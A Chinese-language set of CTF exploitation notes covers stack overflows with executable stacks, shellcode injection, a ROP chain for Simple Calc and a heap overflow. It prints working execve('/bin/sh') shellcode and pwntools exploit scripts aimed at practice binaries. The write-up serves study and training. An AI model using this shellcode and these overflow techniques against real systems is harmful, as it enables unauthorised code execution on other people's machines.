# Nightmare #2
###### tags: `security`
## 06: CSAW'17 Pilot
- 先 recon, 是 64-bit 的 ELF, 掃到的保護機制狀態如下

- 每次執行所顯示的 location 都不一樣, 所以應該是開了 ASLR

- 在類似 main function 的 FUN_004009a6() 觀察到可以利用 read() 提供使用者輸入

- 雖然在 symbol tree 沒有發現可利用的 function 讓我們直接看 flag, 但在 gdb 用 info proc 得到 pid 後, 在 terminal 下 cat /proc/[pid]/maps, 可以觀察到 stack 具有 RWX 權限; 因此我們可以在 buffer 塞 shellcode, 執行 malicious code


- prompt 所印出的 "Location:" 即 leak 出 buffer 開始的地方, 所以我們可以在 read() 的 return address 塞成此位址, 強迫它跳轉執行我們的 shellcode; 用 radare2 觀察到 buffer 大小是 0x20, 加上 old rbp, 總共大小是 40 bytes, 所以我們寫的 shellcode 要注意需限制在 40 bytes 內

- 寫一個執行 execve("/bin/sh") 的 shellcode, 將 "/bin/sh" 轉成 16 進位後 (用 online string to hex converter), 得到 0x2f62696e2f7368, 須注意是 little-endian, 所以要存成 0x68732f6e69622f
```assembly=
.global _start
_start:
mov rax, 0x68732f6e69622f ; "/bin/sh"
push rax
mov rdi, rsp
mov rax, 0x3b ; execve
xor rsi, rsi
xor rdx, rdx
syscall
```
```
$ gcc -nostdlib -static shellcode.s -o shellcode
```
- compile 完後, 確認可以執行, 用 objdump (-D -M intel) 取得我們要的指令 (text section)


- 因此可以寫成 exploit
```python=
import pwn
proc = pwn.process("./pilot")
shellcode =
proc.recvuntil("Location:")
ret_addr = proc.recvuntil("\n")[:-1]
shellcode = "\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x48\xc7\xc0\x3b\x00\x00\x00\x48\x31\xf6\x48\x31\xd2\x0f\x05"
payload = shellcode + "a" * (0x20 + 8 - len(shellcode)) + pwn.p64(int(ret_addr, 16))
proc.send(payload)
proc.interactive()
```

- 補充:若要縮減 shellcode 大小, 可以用一些 trick (eg. 用 mov 清空 -> 改用 xor), 如果 vulnerable function 是跟 string 有關的 (eg. strcmp) 就要小心把 \x00 替換掉, 避免被截斷
- reference https://masterccc.github.io/memo/shellcode/
## 06: TAMU'19 Pwn3
- 先 recon, 是 32-bit 的 ELF, 保護機制如下

- 用 ghidra 打開, 有可利用 function echo(), 裡面呼叫危險函數 gets() (因為 gets 不檢查 input 大小), 並且 prompt 還提示我們輸入的位址

- 觀察到 stack 有寫入和執行的權限, 因此我們可以在裡面塞 shellcode, 跳轉回來, 讓它執行; 須注意 gets() 遇到換行 \n (0x0a) 會截斷

- 觀察 buffer 大小, 為 0x12a

- 網路上有很多寫好的 shellcode database 可以利用 (eg. shell-storm, eploit-db), 我們要找的是 Linux x86 (32-bit), 執行 execve("/bin/sh"), 我用的是這個 https://www.exploit-db.com/exploits/42428
```c=
unsigned char code[] = "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
```
- 利用以上寫成 exploit
```python=
import pwn
proc = pwn.process("./pwn3")
shellcode = "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
proc.recvuntil("journey ")
ret_addr = proc.recvuntil("!\n")[:-2]
payload = shellcode + "a" * (0x12a + 4 - len(shellcode)) + pwn.p32(int(ret_addr, 16))
proc.sendline(payload)
proc.interactive()
```

## 06: TUCTF'18 Shella-easy
- 先 reconf, 是 32-bit 的 ELF

- 打開 ghidra 觀察, 可以看到程式使用不安全的 function gets(), 並且 stack 可執行; 所以我們可以在 input 塞 shellcode 來 spawn shell

- prompt leak input 的位址, 用 radare2 觀察到 input 是放在 [ebp-0x48], 須注意跳轉回來時要把 local_c, 也就是放在 [ebp-0x8] 的值改成 0xdeadbeef, 才不會執行 exit(0)

- shellcode 我是用這段 code http://shell-storm.org/shellcode/files/shellcode-811.php, 在 Linux x86 (32-bit) 執行 execve("/bin/sh"), 大小是 28 bytes; 寫成 exploit 如下
```python=
import pwn
proc = pwn.process("./shella-easy")
leak = proc.recvline()
addr = leak.strip("Yeah I'll have a ")
addr = addr.strip(" with a side of fries thanks\n")
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
payload = shellcode + "a" * (0x40 - len(shellcode)) + pwn.p32(0xdeadbeef) + "b" * (0x8 + 4 - 4) + pwn.p32(int(addr, 16))
proc.sendline(payload)
proc.interactive()
```

## 07: Boston Key Part'16: Simple Calc
- 先 recon, 是 64-bit 的 ELF, 掃到保護機制如下, 可以看到 PIE 沒開, 但 NX 被打開了, 也就是說 stack 不可執行


- 用 ghidra 打開觀察 decompile 的結果, 可以發現程式讓使用者先輸入 1. 想運算幾次 2. 想運算什麼; 並且我們也可以觀察到程式限制使用者輸入運算次數需介於 3 到 0x100 之間, 如果符合此範圍, 會配置出一塊 input * 4 (input << 2) 的空間, 並用 ptr 指向這個空間開始的位置

- 繼續往下觀察, 可以知道 case 1 是在做加法運算, case 2 做減法運算, case 3 做乘法運算, case 4 做除法運算; case 5 的 `Save and Exit` 做的則是把 ptr 所指向的空間複製 input * 4 的大小到一個 buffer, 因為沒有檢查大小, 所以我們可以利用它製造出一個 buffer overflow; 可以觀察到 memcpy 把 [rbp-0x10] copy 到 [rbp-0x40]


- 因為 NX 是打開的 (stack 不可執行), 所以我們不能在 stack 裡面塞 shellcode, 把 return address 改成 shellcode 開始的地方來強迫它執行; 但是我們可以利用 ret2libc attack, 更 general 來說是 ROP attack, 利用可執行的 libc 等其他空間中, 將其可利用的指令串接起來, 達成我們的目的
- 在 memcpy 下一行指令設中斷點, 先觀察執行完 memcpy 後, stack 長什麼樣:第一次輸入 1 做加法, x 值給 547397792, y 值給 547397793, 加起來會是 0x41414141; 第二次同樣輸入 1 做加法, x 跟 y 值給 555819297, 加起來會是 0x42424242; 可以觀察到因為做 32-bit 的運算, 結果存的是 0x4242424241414141, 但我們目標是 0x0000000041414141 和 0x0000000042424242, 所以要手動 padding (可以利用程式所提供的減法運算)


- 我們的目標是執行 execve("/bin/sh"), 根據 64-bit 的 Linux syscall table (https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md), 可以知道暫存器 rax 要塞 0x3b (syscall number), rdi 要塞指向字串 "/bin/sh" 的指標 (arg0), rsi (arg1) 和 rdx (arg2) 則塞 NULL 就可以了

- 利用 ROPGadget 找出可以利用的 gadget, 有關 ROP chain 可以參考 Lays 的投影片 https://www.slideshare.net/hackstuff/rop-40525248





- 因為找不到寫好的 string "/bin/sh", 所以我們要自己寫, 下 vmmap 指令, 發現 0x6c0000 - 0x6c3000 這塊記憶體有寫入的權限, 所以等一下會把 "/bin/sh" 寫到這裡 (i.e., 0x6c0000)

- 想要設計出的 stack, 由低位址到高位址大概長這樣
```
buffer
old rbp
-----------
# original return address -> 從這裡開始建構 ROP chain
pop rax; ret;
0x3b
pop rdx; ret;
"/bin/sh"
pop rdi; ret;
0x6c0000
mov qword ptr [rdi], rdx; ret;
pop rsi; ret;
0x0
pop rdx; ret;
0x0
syscall
```
- 需要注意的是, memcpy 執行完後, 會呼叫 free(ptr), 為了避免配置的空間被 free 掉, 可以在 free() 的參數塞 0, 我是直接把整塊 buffer 都寫 0; 綜合以上, 寫成 [exploit](https://github.com/chuang76/writ3up/blob/main/practice/simplecalc-exp.py), 就可以 spawn the shell!

## 24: Protostar: heap0
- 先 recon, 是 32-bit 的 ELF, PIE 沒開, NX 打開了

- 用 ghidra 打開:malloc 兩個記憶體空間, 分別是 0x40 bytes 和 4 bytes, 回傳指標 ptr1 和 ptr2; 之後呼叫 strcpy(), 因為沒有檢查大小, 所以可以利用它製造 overflow

- 另外在 symbol tree 中, 可以觀察到 target:winner() function, 位址是 0x080484b6

- 因為沒開 PIE, 並且執行 heap0 可以知道 ptr1 到 ptr2 之間相差 0x50 bytes, 所以可以寫 exploit 如下, 成功 level passed

